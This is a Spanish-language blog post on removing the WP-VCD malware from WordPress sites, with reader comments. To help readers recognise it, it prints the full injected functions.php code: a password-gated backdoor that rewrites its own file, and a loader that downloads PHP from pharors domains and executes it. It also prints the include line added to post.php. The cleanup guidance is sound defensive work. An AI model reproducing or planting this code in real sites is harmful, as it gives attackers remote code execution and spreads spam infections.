Eliminar malware WP-VCD en WordPress

Eliminar malware WP-VCD en WordPress

17 de agosto 2019

Utilizar WordPress como CMS a la hora de llevar a cabo un desarrollo web tiene grandes ventajas, ya que cuenta con una gran cuota de mercado cuya comunidad es cada vez mayor. Sin embargo esta popularidad tiene una cara B y es que también hace a la plataforma susceptible de numerosos ataques, ya sean personas, bots o malwares. En su mayoría no revisten mucha gravedad, pero sí que pueden causarte más de un dolor de cabeza cuando la infestación se replica en toda tu red.

Hace unos días revisando una página web a la que pretendía hacer unas actualizaciones y cuya plantilla había programado yo, me encontré en el archivo de funciones un segmento de código que para nada era mío. Ante mí estaba un nuevo enemigo: el malware WP-VCD. Se trata de un tipo de código malicioso que en poco tiempo se ha vuelto bastante común en instalaciones de WordPress y es utilizado para generar URLs de spam con las que derivar trafico de tu sitio a estas nuevas rutas. Una técnica habitual dentro del black hat SEO.

Si tú también te has encontrado con esta situación y no sabes por dónde empezar, quédate porque voy a dar algunas indicaciones sobre cómo solucionar este problema. Por otra parte, si no eres desarrollador y necesitas ayuda profesional para eliminar malwares en WordPress, puedes contactar conmigo a través del formulario de contacto dándome todos los detalles de tu situación. Te responderé en horario laboral tan pronto como pueda.

¿Cómo han entrado en mi web?

Existen varias formas en la cual tu web ha podido quedar expuesta a este virus, aunque las más habituales serían:

1 – Han entrado en nuestro sitio a través de una vulnerabilidad. Esta brecha de seguridad quizá se encuentre en el propio WordPress, aunque lo más probable es que esté en el tema o alguno de los plugins instalados.

2 – Hemos usado para nuestro diseño y desarrollo web un tema o un plugin que incorpora el malware WP-VCD en cuestión. Es bastante habitual que ocurra con las versiones anuladas (nulled) de temas o plugins de pago. En este caso eres tú mismo el que infecta la web sin ser consciente de ello.

3 – Tu proyecto está en un espacio web donde otras páginas webs pueden acceder y una o varias de ellas están infectadas. Al dichoso script le gusta replicarse en todas las webs que tenga a mano.

Pero, ¿dónde se encuentran los archivos infectandos?

El malware en cuestión se encuentra generalmente en cinco archivos de nuestra instalación de WordPress, aunque a veces falta alguno de los tres primeros. Los archivos que afecta son los siguientes:

wp-includes/wp-tmp.php
wp-includes/wp-vcd.php
wp-includes/wp-feed.php
wp-includes/post.php
wp-content/themes/mi-tema/functions.php

Sin embargo tengo que hacer una aclaración, ya que una cosa es el malware y otra diferente es el instalador del mismo. Para que el virus pueda expandirse, usan un instalador que inyecta el código en nuestro archivos. Como supondrás, para evitar que vuelva a replicarse, deberás eliminarlo también o no servirá de mucho la limpieza de los anteriores archivos.

Para ser un poco más preciso, tengo que hacer otra aclaración y es que aunque hablo de un instalador, en realidad hay varios: uno principal que es el que despliega el malware y luego otros secundarios que lo extienden haciendo que salte también entre los diferentes sitios.

El principal se encontrará en el sitio origen de la infección y su ubicación variará dependiendo de si se encontraba en un tema o en un plugin. Tendrás que revisar los directorios correspondientes para encontrarlos. Los archivos de los que hablamos son:

class.theme-modules.php
class.plugin-modules.php

No es habitual encontrar los dos a la vez, pero si ese fuera tu caso, has sido infectado por partida doble.

¿Cómo elimino entonces el malware?

Si has llegado hasta aquí es más que probable que andes buscando cómo eliminarlo, así que voy a darte una serie de pasos que espero te puedan servir de ayuda para resolver el dichoso problema. Ten en cuenta que voy a incluir también pasos habituales para controlar cualquier infección y que en este caso no tendrían por qué ser imprescindibles. Pero es mejor ser precavidos, máxime si no solemos prestar atención a la seguridad de nuestro entorno. Vamos allá:

1 – Desconecta tu ordenador de internet así como de la red local si este fuera tu caso. Y si tienes un servidor local en el equipo, apágalo. Primero vamos a asegurarnos que si hay algo no se extiende. Vacía la caché de navegación y archivos temporales. Puedes hacerlo manualmente en cada programa o usar alguna aplicación como CCleaner. Después te recomiendo que pases un antivirus y un antispyware, ya aunque este tipo de script no es detectable por los sistemas de rastreo nunca sabemos si hay algún otro tipo de software malicioso en nuestro equipo y todo podría descontrolarse.

2 – Contraseñas guardadas en navegador van fuera. Si eres de los que guardan las contraseñas de los paneles de control de WordPress en el navegador, debes eliminarlas. No sabemos si están comprometidas y deberemos cambiarlas después, pero de entrada eliminamos los registros.

3 – Cuidado con el FTP. Aunque no se trata de un malware que pueda saltar entre hostings, también es cierto que inyecta código y no creo que la persona o personas que se encuentran detrás del virus se sienta moralmente comprometidas a no fastidiarte más. No supongamos nada y elimina todas las cuentas de tu cliente FTP, deberemos cambiar contraseñas e instalarlas una a una conforme hayamos limpiado el sitio en el que entremos, pero eso más adelante.

4 – A limpiar en casa. Ahora debemos asegurarnos que el entorno desde donde vamos a trabajar está limpio. No des por sentado que porque el problema esté en el servidor, no lo tengas latente en tu equipo también, sobre todo si usas un servidor local tipo Wamp o Xampp. Revisaremos los archivos para ver si en las copias locales de nuestros trabajos ya tenemos descargado el código malicioso. Nuestra acción se centrará en los archivos que citaba más arriba.

Primero entraremos en la carpeta wp-includes y eliminaremos los archivos wp-vcd.php, tmp.php y feed.php (puede que falte alguno de ellos). Recomiendo usar la función ⇧ Mayús+Supr si usas Windows o ⌘ Cmd+X para Mac, ya que así lo borramos sin pasar por la papelera (vale, quizá esto ya es manía mía, pero a fin de cuentas soy yo el que escribe).

Después, localizaremos post.php, lo abriremos y buscaremos en el encabezado el fragmento que indico a continuación para eliminarlo completamente:

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

En tercer lugar iremos a nuestro archivo de funciones, ubicado en wp-content/themes/mi-tema/functions.php para abrirlo. En su interior encontraremos al comienzo este otro script, considerablemente más grande y lo eliminaremos también.

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f61acf217cd3519fe7e450a1e641b5f4'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{
				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
		                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }
		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}

$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
        if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
    }
}

//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>

Por último buscaremos los archivos de instalación original class.theme-modules.php o class.plugin-modules.php que comentaba antes y los eliminaremos también. El dejarlos en último lugar es porque tras la instalación inicial, el script que contienen se auto elimina y dejan de ser peligrosos. Pero no vamos a conservarlos claro, con todo el sudor que nos han causado. Eso sí, encontrarlos puede sernos útil para saber dónde empezó todo.

Una vez hayamos hecho limpieza local, ya podemos volver a conectar nuestro equipo a la red e internet. En el caso que estuvieras en una red, asegúrate que el resto de equipos están también limpios, claro.

5 – Conectarnos uno a uno a los servicios de hosting y repetir el proceso de limpieza que llevamos a cabo en local. En caso que gestionemos servidores completos, pues aplica el proceso de la manera que más estimes oportuna. Una faena, sí, pero es necesario si queremos evitar que el virus se regenere.

Haciendo una correcta limpieza, podemos acabar con WP-VCD de un modo relativamente sencillo. Claro que esto dependerá de la cantidad de portales afectados y nuestros conocimientos sobre WordPress. Ten en cuenta que este artículo lo escribo en un momento concreto y hablamos de un malware que puede cambiar con el tiempo. Quizá necesites también un poco de intuición y revisar si se ha extendido por otros sitios o los archivos afectados son diferentes.

Espero que os resulte útil.

Publicado por Jesús Tovar

Categorías: Programación, WordPress

Etiquetas: ,

4 comentarios

  1. Miguel dice:

    Hola Jesús,

    he seguido tus pasos pero me acabo de cargar la instalación entera de wordpress…
    Eliminé el archivo wp-vcd.php
    Luego quite la parte de código del post.php que estaba al principio de la página.
    Después me cargué la parte del archivo functions.php
    y ahora cuando trato de acceder al front end o back office en pantalla tengo una ristra de código sin sentido.

    Alguna idea?

    • Jesús Tovar dice:

      Hola Miguel,

      si has seguido el artículo no te preocupes porque no te has cargado la instalación con estos pasos. Lo único que has hecho es eliminar el malware que tenías instalado y en ningún caso se borra ningún script nativo que tenga que ver WordPress, plugins o plantilla. Ahora bien, si tras la limpieza ves fallos, habrá que analizarlos punto a punto. De entrada no es fácil saber dónde podría estar el problema, puede ir desde que te hayas comido sin darte cuenta un punto y coma al hacer la limpieza, hasta que el virus sea una nueva versión y haya sobrescrito archivos esenciales.

      Como no sé lo que dice ese código sin sentido que comentas, voy a dar por supuesto que no es un aviso de la programación. Lo primero que te recomendaría entonces es que activases el modo de depuración de WordPress para tener más datos. Si no sabes dónde se hace, ve al archivo wp-config.php y en la línea define('WP_DEBUG', false); cambia el valor false por true (recuerda dejarlo como estaba cuando no vayas a trabajar o puedes dar información útil para atacarte). Tras esto vuelve a entrar en la web y mira si aparece algún error o advertencia específica.

  2. virgilio dice:

    Me han infectado de virus y malware diferentes páginas de mi hosting HostEurope. El problema es que mi hosting me ha bloqueado todas esas páginas y no puedo acceder a ellas. Me piden que las baje a local, las limpe, y les haga un informe con los pasos hechos y lo volvamos a subir por ftp a una carpeta “prueba” y ellos puedan comprobar que está todo limpio. Pueden ayudarme con este proceso? Yo estoy en Alicante. Gracias, Virgilio

    • Jesús Tovar dice:

      Hola Virgilio,

      siguiendo los pasos del artículo podrías limpiar tus sitios y volver a subirlos. Pero si no te manejas bien con la programación y necesitas ayuda profesional para limpiar el malware de tu hosting, te invito a que me escribas a través de la sección de contacto.

      Un saludo.

Pingback

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio web utiliza cookies, si continúas navegando estás dando tu consentimiento. Consulta nuestra política de cookies y de privacidad.

ACEPTAR
Aviso de cookies